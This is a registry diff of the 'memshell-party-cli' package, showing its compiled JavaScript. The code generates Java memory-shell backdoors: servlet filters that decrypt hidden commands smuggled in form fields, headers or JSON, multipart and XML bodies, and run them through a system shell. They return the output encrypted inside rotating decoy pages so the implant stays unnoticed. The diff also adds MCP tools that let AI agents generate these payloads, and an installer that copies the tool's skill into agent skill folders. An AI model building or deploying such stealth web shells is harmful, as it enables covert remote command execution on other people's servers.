memshell-party-cli 0.5.0 → 0.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +452 -425
- package/README.md +221 -419
- package/dist/cli.js +610 -80
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +74 -5
- package/dist/index.js +346 -33
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/memshell-party/SKILL.md +24 -5
package/dist/index.js
CHANGED
|
@@ -41,6 +41,14 @@ var MemPartyClient = class {
|
|
|
41
41
|
getCommandConfigs() {
|
|
42
42
|
return this.request("GET", "/api/config/command/configs");
|
|
43
43
|
}
|
|
44
|
+
/**
|
|
45
|
+
* Servers the ResponseBody probe can write a response on.
|
|
46
|
+
* Only exists on backend >= 2.9.0 — callers should fall back to the full
|
|
47
|
+
* server list when this endpoint 404s.
|
|
48
|
+
*/
|
|
49
|
+
getProbeResponseBodyServers() {
|
|
50
|
+
return this.request("GET", "/api/config/probe/response-body/servers");
|
|
51
|
+
}
|
|
44
52
|
getVersion() {
|
|
45
53
|
return this.request("GET", "/api/version");
|
|
46
54
|
}
|
|
@@ -256,6 +264,21 @@ function emitPayload(payload, opts, sinks = {}) {
|
|
|
256
264
|
`);
|
|
257
265
|
return { destination: "stdout", size: payload.length, decoded: false };
|
|
258
266
|
}
|
|
267
|
+
function hasMultiplePackResults(r) {
|
|
268
|
+
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
269
|
+
}
|
|
270
|
+
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
271
|
+
if (hasMultiplePackResults(r)) {
|
|
272
|
+
const n = Object.keys(r.allPackResults).length;
|
|
273
|
+
throw new Error(
|
|
274
|
+
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
275
|
+
);
|
|
276
|
+
}
|
|
277
|
+
if (r.packResult === void 0) {
|
|
278
|
+
throw new Error("Server returned no packResult.");
|
|
279
|
+
}
|
|
280
|
+
return emitPayload(r.packResult, opts, sinks);
|
|
281
|
+
}
|
|
259
282
|
|
|
260
283
|
// src/core/config.ts
|
|
261
284
|
import { readFileSync } from "fs";
|
|
@@ -1933,7 +1956,10 @@ var memShellInput = {
|
|
|
1933
1956
|
shellClassBase64: z.string().optional(),
|
|
1934
1957
|
urlPattern: z.string().optional(),
|
|
1935
1958
|
injectorClassName: z.string().optional(),
|
|
1936
|
-
staticInitialize: z.boolean().optional()
|
|
1959
|
+
staticInitialize: z.boolean().optional(),
|
|
1960
|
+
outputFile: z.string().optional().describe(
|
|
1961
|
+
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
1962
|
+
)
|
|
1937
1963
|
};
|
|
1938
1964
|
var probeInput = {
|
|
1939
1965
|
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
@@ -1951,7 +1977,8 @@ var probeInput = {
|
|
|
1951
1977
|
sleepServer: z.string().optional(),
|
|
1952
1978
|
server: z.string().optional(),
|
|
1953
1979
|
reqParamName: z.string().optional(),
|
|
1954
|
-
commandTemplate: z.string().optional()
|
|
1980
|
+
commandTemplate: z.string().optional(),
|
|
1981
|
+
outputFile: memShellInput.outputFile
|
|
1955
1982
|
};
|
|
1956
1983
|
var connectInput = {
|
|
1957
1984
|
name: z.string().optional().describe(
|
|
@@ -2079,7 +2106,11 @@ function createMcpServer(client) {
|
|
|
2079
2106
|
);
|
|
2080
2107
|
server.registerTool(
|
|
2081
2108
|
"generate_memshell",
|
|
2082
|
-
{
|
|
2109
|
+
{
|
|
2110
|
+
title: "Generate memory shell",
|
|
2111
|
+
description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
2112
|
+
inputSchema: memShellInput
|
|
2113
|
+
},
|
|
2083
2114
|
async (args) => {
|
|
2084
2115
|
const meta = {
|
|
2085
2116
|
server: args.server,
|
|
@@ -2092,6 +2123,7 @@ function createMcpServer(client) {
|
|
|
2092
2123
|
const started = Date.now();
|
|
2093
2124
|
try {
|
|
2094
2125
|
const response = await client.generateMemShell(buildMemShellRequest(args));
|
|
2126
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2095
2127
|
logOp({
|
|
2096
2128
|
category: "gen",
|
|
2097
2129
|
action: "gen",
|
|
@@ -2100,7 +2132,7 @@ function createMcpServer(client) {
|
|
|
2100
2132
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
2101
2133
|
meta
|
|
2102
2134
|
});
|
|
2103
|
-
return jsonContent(response);
|
|
2135
|
+
return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
|
|
2104
2136
|
} catch (err) {
|
|
2105
2137
|
logOp({
|
|
2106
2138
|
category: "gen",
|
|
@@ -2116,7 +2148,11 @@ function createMcpServer(client) {
|
|
|
2116
2148
|
);
|
|
2117
2149
|
server.registerTool(
|
|
2118
2150
|
"generate_probe",
|
|
2119
|
-
{
|
|
2151
|
+
{
|
|
2152
|
+
title: "Generate probe shell",
|
|
2153
|
+
description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
2154
|
+
inputSchema: probeInput
|
|
2155
|
+
},
|
|
2120
2156
|
async (args) => {
|
|
2121
2157
|
const meta = {
|
|
2122
2158
|
probeMethod: args.probeMethod,
|
|
@@ -2127,6 +2163,7 @@ function createMcpServer(client) {
|
|
|
2127
2163
|
const started = Date.now();
|
|
2128
2164
|
try {
|
|
2129
2165
|
const response = await client.generateProbe(buildProbeRequest(args));
|
|
2166
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2130
2167
|
logOp({
|
|
2131
2168
|
category: "probe",
|
|
2132
2169
|
action: "probe",
|
|
@@ -2135,7 +2172,7 @@ function createMcpServer(client) {
|
|
|
2135
2172
|
detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
|
|
2136
2173
|
meta
|
|
2137
2174
|
});
|
|
2138
|
-
return jsonContent(response);
|
|
2175
|
+
return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
|
|
2139
2176
|
} catch (err) {
|
|
2140
2177
|
logOp({
|
|
2141
2178
|
category: "probe",
|
|
@@ -2664,6 +2701,13 @@ import { join as join6 } from "path";
|
|
|
2664
2701
|
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
|
|
2665
2702
|
import { homedir as homedir4 } from "os";
|
|
2666
2703
|
import { join as join5 } from "path";
|
|
2704
|
+
function inferBodyTemplateContentType(bodyTemplate) {
|
|
2705
|
+
const t = bodyTemplate.trimStart();
|
|
2706
|
+
if (t.startsWith("--")) return "multipart/form-data";
|
|
2707
|
+
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
2708
|
+
if (t.startsWith("<")) return "text/xml";
|
|
2709
|
+
return null;
|
|
2710
|
+
}
|
|
2667
2711
|
function profileTemplates(profile) {
|
|
2668
2712
|
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
2669
2713
|
return profile.templates;
|
|
@@ -2685,9 +2729,98 @@ function profileRequests(profile) {
|
|
|
2685
2729
|
}
|
|
2686
2730
|
|
|
2687
2731
|
// src/custom/java-template.ts
|
|
2732
|
+
function renderWrapperJava() {
|
|
2733
|
+
return `package mimic;
|
|
2734
|
+
|
|
2735
|
+
import java.io.*;
|
|
2736
|
+
import javax.servlet.*;
|
|
2737
|
+
import javax.servlet.http.*;
|
|
2738
|
+
|
|
2739
|
+
/** Re-exposes a consumed request body to downstream filters/servlets. */
|
|
2740
|
+
public class CachedBody extends HttpServletRequestWrapper {
|
|
2741
|
+
private final byte[] body;
|
|
2742
|
+
|
|
2743
|
+
public CachedBody(HttpServletRequest req, byte[] body) {
|
|
2744
|
+
super(req);
|
|
2745
|
+
this.body = body;
|
|
2746
|
+
}
|
|
2747
|
+
|
|
2748
|
+
public ServletInputStream getInputStream() {
|
|
2749
|
+
return new Stream(body);
|
|
2750
|
+
}
|
|
2751
|
+
|
|
2752
|
+
public BufferedReader getReader() {
|
|
2753
|
+
return new BufferedReader(new InputStreamReader(getInputStream()));
|
|
2754
|
+
}
|
|
2755
|
+
|
|
2756
|
+
static class Stream extends ServletInputStream {
|
|
2757
|
+
private final ByteArrayInputStream in;
|
|
2758
|
+
|
|
2759
|
+
Stream(byte[] body) {
|
|
2760
|
+
this.in = new ByteArrayInputStream(body);
|
|
2761
|
+
}
|
|
2762
|
+
|
|
2763
|
+
public int read() {
|
|
2764
|
+
return in.read();
|
|
2765
|
+
}
|
|
2766
|
+
|
|
2767
|
+
public boolean isFinished() {
|
|
2768
|
+
return in.available() == 0;
|
|
2769
|
+
}
|
|
2770
|
+
|
|
2771
|
+
public boolean isReady() {
|
|
2772
|
+
return true;
|
|
2773
|
+
}
|
|
2774
|
+
|
|
2775
|
+
public void setReadListener(ReadListener l) {}
|
|
2776
|
+
}
|
|
2777
|
+
}
|
|
2778
|
+
`;
|
|
2779
|
+
}
|
|
2688
2780
|
function javaStringLiteral(s) {
|
|
2689
2781
|
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2690
2782
|
}
|
|
2783
|
+
function wrapperLoaderMethods(opts) {
|
|
2784
|
+
return `
|
|
2785
|
+
/** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
|
|
2786
|
+
uploaded shell stays a single self-contained class file */
|
|
2787
|
+
static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
|
|
2788
|
+
static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
|
|
2789
|
+
|
|
2790
|
+
static Class<?> forNameQuiet(String name, ClassLoader cl) {
|
|
2791
|
+
try {
|
|
2792
|
+
return Class.forName(name, true, cl);
|
|
2793
|
+
} catch (Throwable t) {
|
|
2794
|
+
return null;
|
|
2795
|
+
}
|
|
2796
|
+
}
|
|
2797
|
+
|
|
2798
|
+
static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
|
|
2799
|
+
try {
|
|
2800
|
+
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
|
|
2801
|
+
String.class, byte[].class, int.class, int.class);
|
|
2802
|
+
m.setAccessible(true);
|
|
2803
|
+
byte[] bytes = java.util.Base64.getDecoder().decode(b64);
|
|
2804
|
+
return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
|
|
2805
|
+
} catch (Throwable t) {
|
|
2806
|
+
return null; // another shell in this JVM already defined it
|
|
2807
|
+
}
|
|
2808
|
+
}
|
|
2809
|
+
|
|
2810
|
+
/** Wrap the request so downstream code can re-read the JSON body we consumed. */
|
|
2811
|
+
static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
|
|
2812
|
+
ClassLoader cl = ${opts.className}.class.getClassLoader();
|
|
2813
|
+
Class<?> c = forNameQuiet("mimic.CachedBody", cl);
|
|
2814
|
+
if (c == null) {
|
|
2815
|
+
defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
|
|
2816
|
+
c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
|
|
2817
|
+
if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
|
|
2818
|
+
}
|
|
2819
|
+
return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
|
|
2820
|
+
.newInstance(req, body);
|
|
2821
|
+
}
|
|
2822
|
+
`;
|
|
2823
|
+
}
|
|
2691
2824
|
var MD5_METHOD = String.raw`
|
|
2692
2825
|
static String md5Hex(String s) throws Exception {
|
|
2693
2826
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
@@ -2823,9 +2956,11 @@ function sharedMethods(cipher) {
|
|
|
2823
2956
|
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2824
2957
|
}
|
|
2825
2958
|
function renderFilterJava(opts) {
|
|
2826
|
-
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
2959
|
+
const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
|
|
2827
2960
|
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2828
|
-
const
|
|
2961
|
+
const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
|
|
2962
|
+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
|
|
2963
|
+
const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
|
|
2829
2964
|
return `package mimic;
|
|
2830
2965
|
|
|
2831
2966
|
import java.io.*;
|
|
@@ -2840,37 +2975,120 @@ import javax.servlet.http.*;
|
|
|
2840
2975
|
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2841
2976
|
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2842
2977
|
*
|
|
2843
|
-
* Detection uses getParameter()/getHeader()
|
|
2844
|
-
* stream
|
|
2845
|
-
*
|
|
2846
|
-
*
|
|
2847
|
-
*
|
|
2978
|
+
* Detection uses getParameter()/getHeader() first, never touching the body
|
|
2979
|
+
* stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
|
|
2980
|
+
* caching wrapper, so the app's own endpoints (and other shells behind us)
|
|
2981
|
+
* still see the body. Anything that is not ours falls through chain.doFilter;
|
|
2982
|
+
* any error answers with the plain cover template.
|
|
2848
2983
|
*/
|
|
2849
2984
|
public class ${className} implements Filter {
|
|
2850
2985
|
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2851
2986
|
static final String[] FIELDS = { ${fieldsJava} };
|
|
2987
|
+
/** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
|
|
2988
|
+
static final String[] BODY_CTS = { ${bodyCtsJava} };
|
|
2852
2989
|
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2853
2990
|
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2854
2991
|
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2855
|
-
/** Cover
|
|
2992
|
+
/** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
|
|
2856
2993
|
static final String[] TPLS = {
|
|
2857
2994
|
${tplsJava}
|
|
2858
2995
|
};
|
|
2996
|
+
/** Content-Type of each cover body (parallel to TPLS). */
|
|
2997
|
+
static final String[] CTS = { ${ctsJava} };
|
|
2859
2998
|
|
|
2860
2999
|
public void init(FilterConfig filterConfig) {}
|
|
2861
3000
|
public void destroy() {}
|
|
2862
3001
|
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
3002
|
+
static byte[] readAll(InputStream in) throws IOException {
|
|
3003
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
3004
|
+
byte[] buf = new byte[8192];
|
|
3005
|
+
int n;
|
|
3006
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
3007
|
+
return bos.toByteArray();
|
|
3008
|
+
}
|
|
3009
|
+
|
|
3010
|
+
/** read the body only when its Content-Type is one the profile actually uses */
|
|
3011
|
+
static boolean ctMatches(String ct) {
|
|
3012
|
+
String l = ct.toLowerCase();
|
|
3013
|
+
for (String n : BODY_CTS) if (l.contains(n)) return true;
|
|
3014
|
+
return false;
|
|
3015
|
+
}
|
|
3016
|
+
|
|
3017
|
+
/** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
|
|
3018
|
+
static String jsonField(String body, String field) {
|
|
3019
|
+
String needle = "\\"" + field + "\\"";
|
|
3020
|
+
int i = body.indexOf(needle);
|
|
3021
|
+
if (i < 0) return null;
|
|
3022
|
+
int colon = body.indexOf(':', i + needle.length());
|
|
3023
|
+
if (colon < 0) return null;
|
|
3024
|
+
int q1 = body.indexOf('"', colon + 1);
|
|
3025
|
+
if (q1 < 0) return null;
|
|
3026
|
+
int q2 = body.indexOf('"', q1 + 1);
|
|
3027
|
+
if (q2 < 0) return null;
|
|
3028
|
+
return body.substring(q1 + 1, q2);
|
|
3029
|
+
}
|
|
3030
|
+
|
|
3031
|
+
/** minimal multipart extraction: the value follows the part headers of name="field" */
|
|
3032
|
+
static String multipartField(String body, String field) {
|
|
3033
|
+
String needle = "name=\\"" + field + "\\"";
|
|
3034
|
+
int i = body.indexOf(needle);
|
|
3035
|
+
if (i < 0) return null;
|
|
3036
|
+
int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
|
|
3037
|
+
int sepLen = 4;
|
|
3038
|
+
if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
|
|
3039
|
+
if (sep < 0) return null;
|
|
3040
|
+
int start = sep + sepLen;
|
|
3041
|
+
int end = body.indexOf('\\n', start);
|
|
3042
|
+
if (end < 0) end = body.length();
|
|
3043
|
+
String v = body.substring(start, end).trim();
|
|
3044
|
+
return v.isEmpty() ? null : v;
|
|
3045
|
+
}
|
|
3046
|
+
|
|
3047
|
+
/** minimal XML extraction: <field>value</field> */
|
|
3048
|
+
static String xmlField(String body, String field) {
|
|
3049
|
+
String open = "<" + field + ">";
|
|
3050
|
+
int i = body.indexOf(open);
|
|
3051
|
+
if (i < 0) return null;
|
|
3052
|
+
int start = i + open.length();
|
|
3053
|
+
int end = body.indexOf("</" + field + ">", start);
|
|
3054
|
+
if (end < 0) return null;
|
|
3055
|
+
return body.substring(start, end);
|
|
3056
|
+
}
|
|
3057
|
+
${wrapperLoaderMethods(opts)}
|
|
2863
3058
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2864
3059
|
throws IOException, ServletException {
|
|
3060
|
+
HttpServletRequest httpReq = request instanceof HttpServletRequest
|
|
3061
|
+
? (HttpServletRequest) request : null;
|
|
2865
3062
|
String value = null;
|
|
2866
3063
|
for (String f : FIELDS) {
|
|
2867
3064
|
value = request.getParameter(f);
|
|
2868
|
-
if (value == null &&
|
|
3065
|
+
if (value == null && httpReq != null) {
|
|
2869
3066
|
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2870
|
-
value =
|
|
3067
|
+
value = httpReq.getHeader(f);
|
|
2871
3068
|
}
|
|
2872
3069
|
if (value != null) break;
|
|
2873
3070
|
}
|
|
3071
|
+
if (value == null && httpReq != null) {
|
|
3072
|
+
// the ciphertext may ride a raw body of any bodyTemplate shape
|
|
3073
|
+
// (JSON / multipart / XML\u2026). Read it once and re-expose it
|
|
3074
|
+
// downstream via the caching wrapper.
|
|
3075
|
+
String ct = httpReq.getContentType();
|
|
3076
|
+
if (ct != null && ctMatches(ct)) {
|
|
3077
|
+
try {
|
|
3078
|
+
byte[] bodyBytes = readAll(httpReq.getInputStream());
|
|
3079
|
+
String bodyText = new String(bodyBytes, "UTF-8");
|
|
3080
|
+
for (String f : FIELDS) {
|
|
3081
|
+
value = jsonField(bodyText, f);
|
|
3082
|
+
if (value == null) value = multipartField(bodyText, f);
|
|
3083
|
+
if (value == null) value = xmlField(bodyText, f);
|
|
3084
|
+
if (value != null) break;
|
|
3085
|
+
}
|
|
3086
|
+
request = wrapBody(httpReq, bodyBytes);
|
|
3087
|
+
} catch (Throwable wrapperFailed) {
|
|
3088
|
+
// the body is already consumed \u2014 pass through as-is
|
|
3089
|
+
}
|
|
3090
|
+
}
|
|
3091
|
+
}
|
|
2874
3092
|
if (value == null) {
|
|
2875
3093
|
chain.doFilter(request, response);
|
|
2876
3094
|
return;
|
|
@@ -2882,11 +3100,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2882
3100
|
cmd = decryptField(value, aesKey);
|
|
2883
3101
|
} catch (Exception notOurs) {
|
|
2884
3102
|
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2885
|
-
// legitimate
|
|
3103
|
+
// legitimate request (e.g. the real login POST), stay invisible
|
|
2886
3104
|
chain.doFilter(request, response);
|
|
2887
3105
|
return;
|
|
2888
3106
|
}
|
|
2889
|
-
|
|
3107
|
+
int ti = new java.util.Random().nextInt(TPLS.length);
|
|
3108
|
+
String tpl = TPLS[ti];
|
|
3109
|
+
String tplCt = CTS[ti];
|
|
2890
3110
|
try {
|
|
2891
3111
|
String command = new String(cmd, "UTF-8");
|
|
2892
3112
|
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
@@ -2895,22 +3115,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2895
3115
|
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2896
3116
|
pb.redirectErrorStream(true);
|
|
2897
3117
|
Process proc = pb.start();
|
|
2898
|
-
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2899
|
-
InputStream in = proc.getInputStream();
|
|
2900
|
-
byte[] buf = new byte[8192];
|
|
2901
|
-
int n;
|
|
2902
|
-
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2903
3118
|
proc.waitFor();
|
|
2904
|
-
String payload = encryptField(
|
|
2905
|
-
String
|
|
2906
|
-
|
|
2907
|
-
|
|
2908
|
-
|
|
3119
|
+
String payload = encryptField(readAll(proc.getInputStream()), aesKey);
|
|
3120
|
+
String page;
|
|
3121
|
+
if (tpl.contains("{{payload}}")) {
|
|
3122
|
+
// placeholder template (any text format): substitute exactly there
|
|
3123
|
+
page = tpl.replace("{{payload}}", payload);
|
|
3124
|
+
} else {
|
|
3125
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
3126
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
3127
|
+
page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
3128
|
+
}
|
|
3129
|
+
response.setContentType(tplCt);
|
|
2909
3130
|
response.setCharacterEncoding("UTF-8");
|
|
2910
|
-
|
|
3131
|
+
if (tplCt.contains("event-stream")) {
|
|
3132
|
+
// flush chunk by chunk \u2014 a real SSE endpoint streams, a
|
|
3133
|
+
// one-shot body is the wrong shape on the wire
|
|
3134
|
+
java.io.PrintWriter w = response.getWriter();
|
|
3135
|
+
for (String chunk : page.split("\\n\\n", -1)) {
|
|
3136
|
+
if (chunk.isEmpty()) continue;
|
|
3137
|
+
w.write(chunk);
|
|
3138
|
+
w.write("\\n\\n");
|
|
3139
|
+
w.flush();
|
|
3140
|
+
response.flushBuffer();
|
|
3141
|
+
try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
|
|
3142
|
+
}
|
|
3143
|
+
} else {
|
|
3144
|
+
response.getWriter().write(page);
|
|
3145
|
+
}
|
|
2911
3146
|
} catch (Exception e) {
|
|
2912
|
-
// behave like the cover
|
|
2913
|
-
response.setContentType(
|
|
3147
|
+
// behave like the cover body on any error \u2014 stay quiet
|
|
3148
|
+
response.setContentType(tplCt);
|
|
2914
3149
|
response.getWriter().write(tpl);
|
|
2915
3150
|
}
|
|
2916
3151
|
}
|
|
@@ -3005,6 +3240,29 @@ function profileSecretFields(profile) {
|
|
|
3005
3240
|
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
3006
3241
|
return fields.length > 0 ? fields : ["pass"];
|
|
3007
3242
|
}
|
|
3243
|
+
function ctNeedle(ct) {
|
|
3244
|
+
const media = ct.toLowerCase().split(";", 1)[0].trim();
|
|
3245
|
+
if (media.includes("json")) return "json";
|
|
3246
|
+
if (media.includes("multipart")) return "multipart";
|
|
3247
|
+
if (media.includes("xml")) return "xml";
|
|
3248
|
+
return media;
|
|
3249
|
+
}
|
|
3250
|
+
function profileBodyContentTypes(profile) {
|
|
3251
|
+
const needles = /* @__PURE__ */ new Set();
|
|
3252
|
+
for (const r of profileRequests(profile)) {
|
|
3253
|
+
if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
|
|
3254
|
+
if (r.bodyTemplate !== void 0) {
|
|
3255
|
+
const explicit = Object.entries(r.headers ?? {}).find(
|
|
3256
|
+
([k]) => k.toLowerCase() === "content-type"
|
|
3257
|
+
)?.[1];
|
|
3258
|
+
const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
|
|
3259
|
+
if (ct) needles.add(ctNeedle(ct));
|
|
3260
|
+
} else if (r.bodyStyle === "json") {
|
|
3261
|
+
needles.add("json");
|
|
3262
|
+
}
|
|
3263
|
+
}
|
|
3264
|
+
return [...needles];
|
|
3265
|
+
}
|
|
3008
3266
|
function defaultClassName() {
|
|
3009
3267
|
return `MimicFilter${randomString(4)}`;
|
|
3010
3268
|
}
|
|
@@ -3016,20 +3274,32 @@ async function buildCustomMemshell(input, client, deps = {}) {
|
|
|
3016
3274
|
const urlPattern = input.urlPattern ?? "/*";
|
|
3017
3275
|
const packer = input.packer ?? "DefaultBase64";
|
|
3018
3276
|
const cipher = resolveCipher(input.profile.cipher);
|
|
3019
|
-
const templates = profileTemplates(input.profile).map((t) =>
|
|
3277
|
+
const templates = profileTemplates(input.profile).map((t) => ({
|
|
3278
|
+
template: t.template,
|
|
3279
|
+
contentType: t.contentType
|
|
3280
|
+
}));
|
|
3020
3281
|
if (templates.length === 0) {
|
|
3021
3282
|
throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
3022
3283
|
}
|
|
3023
3284
|
const outDir = input.outDir;
|
|
3024
3285
|
const packageDir = join6(outDir, "mimic");
|
|
3025
3286
|
mkdirSync4(packageDir, { recursive: true });
|
|
3287
|
+
const wrapperFile = join6(packageDir, "CachedBody.java");
|
|
3288
|
+
writeFileSync5(wrapperFile, renderWrapperJava(), "utf8");
|
|
3289
|
+
compile([wrapperFile], outDir, { classpath: [jarOf()] });
|
|
3290
|
+
const wrapper = {
|
|
3291
|
+
bodyB64: readFileSync6(join6(packageDir, "CachedBody.class")).toString("base64"),
|
|
3292
|
+
streamB64: readFileSync6(join6(packageDir, "CachedBody$Stream.class")).toString("base64")
|
|
3293
|
+
};
|
|
3026
3294
|
const javaSource = renderFilterJava({
|
|
3027
3295
|
className,
|
|
3028
3296
|
pass: input.pass,
|
|
3029
3297
|
secret: input.secret,
|
|
3030
3298
|
fields: profileSecretFields(input.profile),
|
|
3299
|
+
bodyContentTypes: profileBodyContentTypes(input.profile),
|
|
3031
3300
|
templates,
|
|
3032
|
-
cipher
|
|
3301
|
+
cipher,
|
|
3302
|
+
wrapper
|
|
3033
3303
|
});
|
|
3034
3304
|
const javaFile = join6(packageDir, `${className}.java`);
|
|
3035
3305
|
writeFileSync5(javaFile, javaSource, "utf8");
|
|
@@ -3104,6 +3374,45 @@ async function buildCustomMemshell(input, client, deps = {}) {
|
|
|
3104
3374
|
`, "utf8");
|
|
3105
3375
|
return result;
|
|
3106
3376
|
}
|
|
3377
|
+
|
|
3378
|
+
// src/core/skill-install.ts
|
|
3379
|
+
import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
|
|
3380
|
+
import { homedir as homedir5 } from "os";
|
|
3381
|
+
import { join as join7 } from "path";
|
|
3382
|
+
import { fileURLToPath as fileURLToPath2 } from "url";
|
|
3383
|
+
var SKILL_NAME = "memshell-party";
|
|
3384
|
+
function skillSourceDir() {
|
|
3385
|
+
const candidates = [
|
|
3386
|
+
new URL(`../skills/${SKILL_NAME}`, import.meta.url),
|
|
3387
|
+
// dist/*.js
|
|
3388
|
+
new URL(`../../skills/${SKILL_NAME}`, import.meta.url)
|
|
3389
|
+
// src/core/*.ts
|
|
3390
|
+
];
|
|
3391
|
+
for (const candidate of candidates) {
|
|
3392
|
+
const p = fileURLToPath2(candidate);
|
|
3393
|
+
if (existsSync6(p)) return p;
|
|
3394
|
+
}
|
|
3395
|
+
throw new Error(`bundled skill not found (expected skills/${SKILL_NAME} in the package)`);
|
|
3396
|
+
}
|
|
3397
|
+
function skillTargetDir(scope, projectDir) {
|
|
3398
|
+
switch (scope) {
|
|
3399
|
+
case "user":
|
|
3400
|
+
return join7(homedir5(), ".agents", "skills", SKILL_NAME);
|
|
3401
|
+
case "claude":
|
|
3402
|
+
return join7(homedir5(), ".claude", "skills", SKILL_NAME);
|
|
3403
|
+
case "project":
|
|
3404
|
+
return join7(projectDir ?? process.cwd(), "skills", SKILL_NAME);
|
|
3405
|
+
}
|
|
3406
|
+
}
|
|
3407
|
+
function installSkill(scopes, opts = {}) {
|
|
3408
|
+
const src = opts.sourceDir ?? skillSourceDir();
|
|
3409
|
+
return scopes.map((scope) => {
|
|
3410
|
+
const dir = skillTargetDir(scope, opts.projectDir);
|
|
3411
|
+
mkdirSync5(dir, { recursive: true });
|
|
3412
|
+
cpSync(src, dir, { recursive: true });
|
|
3413
|
+
return { scope, dir, files: readdirSync2(dir).sort() };
|
|
3414
|
+
});
|
|
3415
|
+
}
|
|
3107
3416
|
export {
|
|
3108
3417
|
ApiError,
|
|
3109
3418
|
CLI_VERSION,
|
|
@@ -3113,6 +3422,7 @@ export {
|
|
|
3113
3422
|
LEGACY_CIPHER,
|
|
3114
3423
|
